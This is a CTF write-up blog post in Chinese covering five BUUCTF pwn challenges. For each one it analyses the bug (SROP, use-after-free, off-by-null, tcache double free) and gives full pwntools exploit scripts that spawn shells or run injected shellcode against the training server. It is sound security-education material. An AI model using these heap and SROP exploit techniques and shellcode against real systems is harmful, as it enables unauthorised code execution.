BUUCTF pwn wp 131 - 135

rootersctf_2019_srop

rootersctf_2019_srop$ file rootersctf_2019_srop;checksec rootersctf_2019_srop 
rootersctf_2019_srop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
[*] '/home/pwn/桌面/rootersctf_2019_srop/rootersctf_2019_srop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
signed __int64 sub_401000()
{
  signed __int64 v0; // rax
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  v0 = sys_write(1u, ::buf, 0x2AuLL);
  return sys_read(0, buf, 0x400uLL);
}

程序什么都没有, 基本上就是一个syscall gadget, 不能ret2xxx
给了syscall, 那就SROP一把梭哈

x64的sys_rt_sigreturn调用号是15, sigframe 布置好寄存器, 调用read(0, data_addr, 0x400)
在data_addr特定偏移 offset 处写入"/bin/sh\x00", 然后调用execve(data_addr + offset)
在这里插入图片描述
另外注意, python3的SigreturnFrame对象是特定的类型, 直接用bytes()转为字节类型(读一下源码就懂了
exp

from pwn import *

url, port = "node4.buuoj.cn", 25810
filename = "./rootersctf_2019_srop"
elf = ELF(filename)
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
def pwn():
    data_addr = 0x0000000000402000
    pop_rax_syscall_leave_ret = 0x0000000000401032
    syscall_leave_ret = 0x0000000000401033

    # read(0, data_addr, 0x200)
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_read
    sigframe.rdi = 0
    sigframe.rsi = data_addr
    sigframe.rdx = 0x400 # the length of payload is 272
    sigframe.rip = syscall_leave_ret
    sigframe.rsp = data_addr
    sigframe.rbp = data_addr # stack pivot to data segment
    
    payload = cyclic(0x80 + 8) + p64(pop_rax_syscall_leave_ret) + p64(15) + bytes(sigframe)
    io.sendlineafter('CTF?\n', payload)
    # B()
    # execve("/bin/sh\x00")
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = data_addr + 0x200
    sigframe.rsi = 0
    sigframe.rdx = 0
    sigframe.rip = syscall_leave_ret
    sigframe.rsp = data_addr + 0x18

    payload = cyclic(8) + p64(pop_rax_syscall_leave_ret) + p64(15) + bytes(sigframe)
    # print(len(payload))
    payload = payload.ljust(0x200, b'\x00')
    payload += b'/bin/sh\x00'
    sleep(0.1)
    io.sendline(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

ciscn_2019_s_6

ciscn_2019_s_6$ file ciscn_s_6;checksec ciscn_s_6 
ciscn_s_6: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fe3417123061871dbbe5d3784db46558e8a14214, not stripped
[*] '/home/pwn/桌面/ciscn_2019_s_6/ciscn_s_6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

普通题, 保护全开

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("I hate 2.29 , can you understand me?");
  puts("maybe you know the new libc");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v3);
      getchar();
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        call();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("Jack Ma doesn't like you~");
          exit(0);
        }
LABEL_13:
        puts("Wrong");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
  }
}

call函数有个UAF / double free漏洞

unsigned __int64 call()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( *((_QWORD *)&heap_addr + v1) )
    free(**((void ***)&heap_addr + v1));
  puts("You try it!");
  puts("Done");
  return __readfsqword(0x28u) ^ v2;
}

保护全开, 那就unsorted bin attack泄露libc, tcache double free打__free_hook

from pwn import *

url, port = "node4.buuoj.cn", 27264
filename = "./ciscn_s_6"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size, name, call):
    io.sendlineafter('choice:', '1')
    io.sendlineafter('name', str(size))
    io.sendlineafter('name:', name)
    io.sendlineafter('call:', call)

def show(idx):
    io.sendlineafter('choice:', '2')
    io.sendlineafter('index:', str(idx))
    
def delete(idx):
    io.sendlineafter('choice:', '3')
    io.sendlineafter('index:', str(idx))

def pwn():
    add(0x100, 'falca', 'fa1c4')
    add(0x20, 'falca', 'fa1c4')
    add(0x20, 'falca', 'fa1c4')
    for _ in range(7): # fullfill tcache
        delete(0)

    delete(0)
    show(0) # unsorted bin attack leak libc
    io.recvuntil('name')
    libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
    free_hook = libc.sym['__free_hook']
    system_addr = libc.sym['system']
    lf('libc base address', libc.address)
    lf('free hook address', free_hook)
    lf('system address', system_addr)

    delete(1)
    delete(1)
    delete(1)
    # B()
    add(0x20, p64(free_hook), 'fa1c4')
    add(0x20, 'falca', 'fa1c4')
    add(0x20, p64(system_addr), 'fa1c4')
    add(0x20, b'/bin/sh\x00', 'fa1c4')

    delete(6)


if __name__ == "__main__":
    pwn()
    io.interactive()

sctf_2019_easy_heap

sctf_2019_easy_heap$ file sctf_2019_easy_heap; checksec sctf_2019_easy_heap 
sctf_2019_easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=aad28dd7c025e34b69bbd0409ff4c34da381c862, stripped
[*] '/home/pwn/桌面/22-04-21/sctf_2019_easy_heap/sctf_2019_easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

日常保护全开
一开始会先进一个初始化函数, 调用mmap申请了一块内存, 权限是rwx; 还直接打印地址(

unsigned __int64 initial()
{
  int fd; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 buf; // [rsp+8h] [rbp-18h] BYREF
  void *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&unk_202060, 0, 0x80uLL);
  fd = open("/dev/urandom", 0);
  buf = 0LL;
  read(fd, &buf, 5uLL);
  buf &= 0xFFFFFFF000uLL;
  close(fd);
  v3 = mmap((void *)buf, 0x1000uLL, 7, 34, -1, 0LL);
  printf("Mmap: %p\n", v3);
  unk_202040 = 0;
  sub_CBD();
  return __readfsqword(0x28u) ^ v4;
}

接下来是正常菜单, add, edit, delete等等, 而且add里还直接回显主结构体指针地址(这白给…
深挖一层edit函数, 发现read字符串的函数有off-by-null漏洞

unsigned __int64 __fastcall readstr(__int64 contents, unsigned __int64 a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      perror("Read failed!\n");
      exit(-1);
    }
    if ( buf == 10 )
      break;
    *(_BYTE *)(contents + i) = buf;
  }
  if ( i == a2 )
    *(_BYTE *)(i + contents) = 0;               // off by null
  return __readfsqword(0x28u) ^ v5;
}

漏洞利用: 因为直接回显地址, 泄露的大部分工作都省了, 返回主结构体的指针地址相当于已知bss段地址, 减去已知的偏移即可得到程序基址, 这样就绕过了PIE保护, 用unsorted bin unlink 和 off-by-null堆叠块, 劫持chunk链到mmap内存段, 然后写入shellcode, 再同理劫持got表到到shellcode执行 (其实必须劫持hook, 往下看

调试的时候发现劫持不了got表, 虽然fd指针指向了got表项, 但是add出来会崩溃, 难道是什么保护机制?
在这里插入图片描述
调出来了, 确实是权限保护机制, 这个程序的plt got段没有给写权限, 也就是对应Full RELRO保护
在这里插入图片描述

看来还是基础太差了, 这个居然没意识到 (不过通过调试找到问题的答案也使对底层原理的理解更深刻, 之前都是直接理论接受这个知识, 现在调试发现了这个问题才真正理解, 这个保护机制本质就是给内存段设置读写执行权限

所以绕过PIE似乎并没有什么用, 换一个打法, 直接根据main_arena + 96低位改0x30是malloc_hook来打malloc_hook

from pwn import *

url, port = "node4.buuoj.cn", 25134
filename = "./sctf_2019_easy_heap"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")

local = 0
if local:
    # context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size):
    io.sendlineafter(">> ", "1")
    io.sendlineafter("Size: ", str(size))
    io.recvuntil("Pointer Address ")
    msg = io.recvline()
    log.info("{}".format(msg))
    return int(msg, 16)

def delete(idx):
    io.sendlineafter(">> ", "2")
    io.sendlineafter("Index: ", str(idx))

def edit(idx, content):
    io.sendlineafter(">> ", "3")
    io.sendlineafter("Index: ", str(idx))
    io.sendafter("Content: ", content)

def pwn():
    # shellcode = asm(shellcraft.sh()) 48 bytes too long find another shellcode
    shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    bss_addr = 0x202068

    io.recvuntil("Mmap: ")
    msg = io.recvline()
    mmap_addr = int(msg, 16) # int(msg[:-1].decode(), 16)
    lf("mmap address", mmap_addr)

    add(0x410) # chunk0
    add(0x28) # chunk1
    add(0x18) # chunk2
    add(0x4f0) # chunk3
    add(0x10) # chunk4

    delete(0)
    edit(2, cyclic(0x10) + p64(0x470))
    delete(3) # unlink
    delete(1) # tcache 0x30
    delete(2) # tcache 0x20
    add(0x440) # chunk0
    add(0x510) # chunk1 unsorted bin and tcache overlap 

    payload = cyclic(0x410) + p64(0) + p64(0x31) + p64(mmap_addr + 0x10) 
    edit(0, payload + b'\n')
    add(0x28) # chunk2 tcache 0x30
    add(0x28) # chunk3 hijack mmap
    edit(3, shellcode + b'\n') 
    edit(1, b'\x30\n')
    # B()
    add(0x18) # chunk5 tcache 0x20
    add(0x18) # chunk6 hjack scanf@got
    edit(6, p64(mmap_addr + 0x10) + b'\n')

    io.sendlineafter(">> ", "1")
    io.sendlineafter("Size: ", str(233))


if __name__ == "__main__":
    pwn()
    io.interactive()

小结: off-by-null + unsorted bin unlink构造chunk堆叠 + tcache attack劫持mmap + mmap shellcode + main_arena + 96改低位为0x30劫持malloc_hook

de1ctf_2019_weapon

de1ctf_2019_weapon$ file de1ctf_2019_weapon;checksec de1ctf_2019_weapon 
de1ctf_2019_weapon: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dbcf8be62e020f7c767f0c2b3d32154306f228e3, stripped
[*] '/home/pwn/桌面/de1ctf_2019_weapon/de1ctf_2019_weapon'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

老规矩, 保护全开

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    v3 = scanfin();
    switch ( v3 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      default:
        puts("Incalid choice!");
        break;
    }
  }
}

delete函数有悬空指针

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx :");
  v1 = scanfin();
  free(*((void **)&unk_202060 + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

注意到没有show函数, 所以需要通过_IO_2_1_stdout_来leak libc
漏洞利用: 先通过UAF漏洞修改chunk指针的低字节, 构造unsorted bin chunk和fastbin chunk堆重叠, 然后可以劫持_IO_2_1_stdout_-0x43的位置泄露libc (内存0x1000对齐, 需要爆破4bits, 1/16概率), 最后通过fastbin attack劫持malloc hook为one gadget

from pwn import *

url, port = "node4.buuoj.cn", 29176
filename = "./de1ctf_2019_weapon"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context.log_level = "debug"
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size, index, name):
    io.sendlineafter('choice >>', '1')
    io.sendlineafter('weapon: ', str(size))
    io.sendlineafter('index: ', str(index))
    io.sendafter('name:', name)
    
def free(index):
    io.sendlineafter('choice >>', '2')
    io.sendlineafter('idx :', str(index))

def edit(index, name):
    io.sendlineafter('choice >>', '3')
    io.sendlineafter('idx: ', str(index))
    io.sendafter('content:', name)
    
def pwn():
    global io
    io = remote(url, port)

    add(0x58, 0, cyclic(0x48) + p64(0x61))
    add(0x60, 1, '1')
    add(0x18, 2, '2')
    add(0x58, 3, '3')

    free(1)
    free(3)
    free(0)
    edit(0, p8(0x50))

    add(0x58, 4, '4')
    add(0x58, 5, cyclic(8) + p64(0x91))

    free(1)
    edit(1, p16(0xF5DD)) # brute force high 4bits

    edit(5, cyclic(8) + p64(0x71))
    add(0x60, 6, '6')
    payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x00'
    add(0x60, 7, payload)

    libc_base = u64(io.recvuntil(b'\x7f',timeout=0.5)[-6:].ljust(8, b'\x00')) - 0x3c5600
    lf('libc base address:', libc_base)

    one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

    free(1)
    edit(1, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))
    add(0x60, 1, '1')
    payload = cyclic(0xb) + p64(libc_base + one_gadgets[1]) + p64(libc_base + libc.sym['realloc'] + 4)
    add(0x60, 8, payload)
    io.sendlineafter('choice >>', '1')
    io.sendlineafter('weapon: ', str(1)) # 233 can't pwn
    io.sendlineafter('index: ', str(1))
    io.interactive()


if __name__=='__main__':
    while 1:
        try:
            pwn()
        except:
            io.close()

SWPUCTF_2019_p1KkHeap

SWPUCTF_2019_p1KkHeap$ file SWPUCTF_2019_p1KkHeap;checksec SWPUCTF_2019_p1KkHeap
SWPUCTF_2019_p1KkHeap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9f84140cae50f25ac10f12ea52e1863fc41dafa1, stripped
[*] '/home/pwn/桌面/SWPUCTF_2019_p1KkHeap/SWPUCTF_2019_p1KkHeap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

普通题, 保护全开(其实也不算很常规, 加了一些限制, 增加了一些热(leng)知识
菜单heap, 但只允许12次操作

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_B0A(a1, a2, a3);
  puts("                           Welcome to SWPUCTF 2019");
  while ( cnt > 0 )
  {
    menu();
    v3 = readin();
    if ( v3 == 3 )
    {
      Edit();
    }
    else if ( v3 > 3 )
    {
      if ( v3 == 5 )
        Quit();
      if ( v3 < 5 )
      {
        Delete();
      }
      else if ( v3 == 666 )
      {
        puts("p1Kk wants a boyfriend!");
      }
    }
    else if ( v3 == 1 )
    {
      Add();
    }
    else if ( v3 == 2 )
    {
      Show();
    }
    --cnt;
  }
  Quit();
}

在这里插入图片描述
一开始还用mmap申请了一个RWX的内存段, 可以考虑写入shellcode执行

delete函数有UAF, tcache可以double free, 但是这里做了限制只能free不超过3次, 这个限制了不能直接填满tcache然后用unsorted bin泄露libc地址

int Delete()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  if ( cnt3 <= 0 )
    Quit();
  printf("id: ");
  v1 = readin();
  if ( v1 > 7 )
    Quit();
  free(*((void **)&unk_202100 + v1));
  dword_2020E0[v1] = 0;
  --cnt3;
  return puts("Done!");
}

保护全开, 主要思想是在mmap段中写入shellcode(但是不能execve, 因此用ORW), 接着要泄露libc然后劫持__malloc_hook到mmap段, 申请chunk会触发执行shellcode, get flag
这里有个问题就是tcache不能直接暴力填满, 这题的unsorted bin attack需要绕过free次数限制

冷(re)知识: 每一个线程会维护一个结构体tcache_perthread_struct, 这个结构体负责tcache的分配. 当tcache bins放满7个后, 剩余free掉的chunk会被放到fastbin或者unsorted bin(依据大小而定). 这里判断对应tcache bins大小的方法, 就是检查tcache_perthread_struct中的字段的大小是不是大于6, 劫持这个数值小于2, 有限次数释放的chunk就可以进unsorted bin.

from pwn import *

url, port = "node4.buuoj.cn", 26889
filename = "./SWPUCTF_2019_p1KkHeap"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size):
    io.sendlineafter("Your Choice: ", '1')
    io.sendlineafter("size: ", str(size))

def show(idx):
    io.sendlineafter("Your Choice: ", '2')
    io.sendlineafter("id: ", str(idx))
    leak_addr = u64(io.recvline()[9:15].ljust(8, b'\x00'))
    lf('leak_addr', leak_addr)
    return leak_addr

def edit(idx, content):
    io.sendlineafter("Your Choice: ", '3')
    io.sendlineafter("id: ", str(idx))
    io.sendafter("content: ", content)

def delete(idx):
    io.sendlineafter("Your Choice: ", '4')
    io.sendlineafter("id: ", str(idx))
    
def pwn():
    mmap_addr = 0x66660000

    add(0x100)
    add(0x100)
    delete(1)
    delete(1)

    heap_addr = show(1)
    tcache_struct_addr = heap_addr - 0x360 # leak heap can get tcache_perthread_struct
    add(0x100)
    edit(2, p64(tcache_struct_addr) * 2)
    add(0x100) 
    add(0x100) # tcache struct
    lf('tcache struct address', tcache_struct_addr)

    payload = cyclic(0xB8) + p64(mmap_addr)
    edit(4, payload) # hijack tcache address to mmap
    add(0x100)

    shellcode = shellcraft.open('flag', 0)
    shellcode += shellcraft.read(3, mmap_addr + 0x200, 0x60)
    shellcode += shellcraft.write(1, mmap_addr + 0x200, 0x60)
    edit(5, asm(shellcode))

    delete(0)
    # B()
    libc.address = show(0) -96 - 0x3ebc40
    malloc_hook = libc.sym['__malloc_hook']
    lf('libc base address', libc.address)
    lf('malloc hook address', malloc_hook)
    payload = cyclic(0xB8) + p64(malloc_hook)
    edit(4, payload)

    add(0x100)
    edit(6, p64(mmap_addr))

    io.sendlineafter('Your Choice: ', '1')
    io.sendlineafter('size: ', str(233))


if __name__ == "__main__":
    pwn()
    io.interactive()

小结
有限次数释放tcache数目绕过 + unsorted bin attack泄露libc + UAF + mmap shellcode + ORW + 劫持malloc_hook

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值